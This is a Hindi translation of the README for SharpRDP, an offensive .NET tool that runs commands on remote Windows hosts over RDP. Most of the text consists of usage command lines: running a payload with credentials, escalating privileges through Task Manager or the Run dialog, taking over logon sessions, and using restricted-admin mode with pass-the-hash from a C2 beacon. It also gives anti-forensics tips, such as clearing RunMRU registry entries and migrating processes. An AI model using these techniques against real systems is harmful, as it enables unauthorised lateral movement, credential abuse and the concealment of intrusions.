
रिमोट डेस्कटॉप प्रोटोकॉल .NET कंसोल एप्लीकेशन प्रमाणित कमांड निष्पादन के लिए
संकलन करने के लिए प्रोजेक्ट को Visual Studio में खोलें और रिलीज़ के लिए बिल्ड करें। दो DLLs Release निर्देशिका में आउटपुट होंगी, आपको उनकी आवश्यकता नहीं है क्योंकि DLLs असेंबली में हैं।
यदि आप प्रदान की गई DLLs का उपयोग नहीं करना चाहते हैं तो आपको AxMSTSCLib.dll DLL बनाने के लिए .NET SDK की आवश्यकता होगी। इसे बनाने के लिए आपको mstscax.dll पर SDK से aximp चलाना होगा। %<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll। Interop DLLs बनाने के लिए उन DLLs को प्रोजेक्ट द्वारा संदर्भित करने की आवश्यकता होगी।
आपको DLLs को Deflate से संपीड़ित करने और उन्हें AxInterop.MSTSCLib.dll.bin और Interop.MSTSCLib.dll.bin नाम देने की भी आवश्यकता होगी
सामान्य RDP कनेक्शन और निष्पादन
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
cmd या powershell के चाइल्ड प्रोसेस के रूप में प्रोग्राम निष्पादित करें
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
प्रतिबंधित व्यवस्थापक मोड का उपयोग करें
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
पहले होस्ट ड्राइव को कनेक्ट करें
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
Run डायलॉग के माध्यम से उच्चाधिकार वाला कमांड निष्पादित करें - वर्तमान में बग है
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
टास्क मैनेजर के माध्यम से उच्चाधिकार वाला कमांड निष्पादित करें
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
नेटवर्क स्तर प्रमाणीकरण जोड़ें
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
लॉगऑन सत्र को अपने कब्जे में लेने के लिए पूछें
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
यदि लक्ष्य पर प्रतिबंधित व्यवस्थापक मोड सक्षम है तो कोई क्रेडेंशियल निर्दिष्ट न करें और यह वर्तमान उपयोगकर्ता संदर्भ का उपयोग करेगा। बीकन में PTH या make_token या Windows सिस्टम पर runas /netonly का उपयोग कर सकते हैं।
सभी निष्पादन Windows रन डायलॉग (Win+R) से शुरू होता है। आपके द्वारा निष्पादित कमांड के साथ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU पर एक रजिस्ट्री कुंजी बनाई जाएगी। यदि आप इसे हटाना चाहते हैं तो आप इसका उपयोग कर सकते हैं: CleanRunMRU: RunMRU मान प्राप्त करें या साफ़ करें
ध्यान रखें यदि आप msbuild जैसा प्रोग्राम निष्पादित करते हैं (मुझे यकीन है कि और भी हैं) तो प्रक्रिया चलने के दौरान एक cmd विंडो पॉप अप होगी। यदि आप ऐसा करते हैं तो संभवतः प्रक्रिया को माइग्रेट करना और मूल को समाप्त करना सबसे अच्छा होगा।
आवश्यक DLLs को असेंबली में संकलित किया जाता है और ऐप डोमेन असेंबली रिज़ॉल्व इवेंट का उपयोग किया जाता है। DLLs के आकार के कारण उन्हें रनटाइम पर संपीड़ित और विघटित किया जाता है (ताकि वे बीकन की 1MB आकार सीमा को पूरा कर सकें)।
इसके बारे में ब्लॉग यहाँ पाया जा सकता है SharpRDP
MoveKit का भी हिस्सा